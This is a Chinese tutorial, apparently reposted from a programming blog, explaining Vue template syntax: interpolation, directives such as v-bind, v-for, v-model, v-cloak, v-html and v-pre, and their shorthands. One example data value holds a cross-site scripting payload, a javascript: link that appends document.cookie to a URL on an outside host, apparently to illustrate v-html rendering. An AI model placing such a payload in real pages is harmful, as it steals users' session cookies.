Vue–模板语法[通俗易懂]

Vue–模板语法[通俗易懂]模板语法(1)插值​ a.文本{{}}声明一条数据,然后用特殊的模板语法将其渲染出来(声明式渲染)letvm=newVue({//vue实例的配置项el:”#app”,//指代挂载点data:{//vue所管理的数据msg2:`<ahref=javascript:location.href=’http://www.baidu.com?cookie=’+document.

大家好,又见面了,我是你们的朋友全栈君。

模板语法

(1) 插值

​ a.文本 {
{ }} 声明一条数据,然后用特殊的模板语法将其渲染出来(声明式渲染)

let vm = new Vue({     //vue实例的配置项
            el:"#app",//指代挂载点
            data:{    //vue所管理的数据 
                msg2:`<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>click</a>`
            }   
        })

​ b.表达式 {
{ 表达式 }}

(2) 指令

​ 是带有 v- 前缀的特殊属性

  • ​ v-bind 动态绑定属性
    ​ v-if 动态创建/删除

  • ​ v-show 动态显示/隐藏

  • ​ v-on:click 绑定事件

  • ​ v-for 遍历

  • ​ v-model 双向绑定表单 (修饰符)

  • ​ v-cloak 防止表达式闪烁

注:

​ v-cloak

给模板内的元素添加v-cloak属性后,元素在vue没有加载完的时候就有这个属性,当vue加载完成后这个属性就消失了,所以我们可以给这个属性设置css样式为隐藏

 <style>
    [v-cloak]{
        display:none
    }
 </style>

visibility:hidden 元素消失了 但后续的元素还是保持不变,不会破坏文档流结构 ===> 产生了重绘了 (repaint)
display:none 让元素消失了 后续的元素会占据消失元素的位置,破坏文档流结构 ===> 产生了回流了(reflow)

v-text/v-html

v-text会指定将模板内元素的textContent属性替换为指令值所代表的数据

v-html可以解析标签,更改元素的innerHTML,性能比v-text较差

v-pre

跳过元素和其子元素的编译过程,可以用来显示mustache

(3) 缩写

v-bind:src => :src

v-on:click => @click

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/161569.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号